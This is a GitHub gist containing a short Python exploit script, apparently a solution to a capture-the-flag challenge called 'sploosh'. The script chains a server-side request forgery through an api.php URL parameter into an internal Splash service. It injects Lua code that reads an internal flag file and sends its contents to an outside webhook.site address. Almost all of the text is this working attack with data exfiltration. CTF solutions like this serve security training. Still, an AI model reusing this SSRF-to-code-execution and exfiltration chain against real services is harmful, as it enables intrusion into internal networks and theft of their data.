Created
December 7, 2020 03:11
-
-
Save u0pattern/92c01201e4f6b7139ba7e72c734afb1f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from urllib import quote | |
lua=""" | |
function main(splash) | |
local treat = require("treat") | |
local json = splash:http_get('http://172.16.0.14/flag.php') | |
local response=splash:http_get('https://webhook.site/41ccba09-fd57-439b-b8be-05e20e446b72?flag='.. treat.as_string(json.body)) | |
return "hi" | |
end | |
""" | |
url='http://sploosh.chal.perfect.blue/api.php?url=http://splash:8050/execute?lua_source='+quote(lua) | |
response=requests.get(url) | |
print(response.text) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment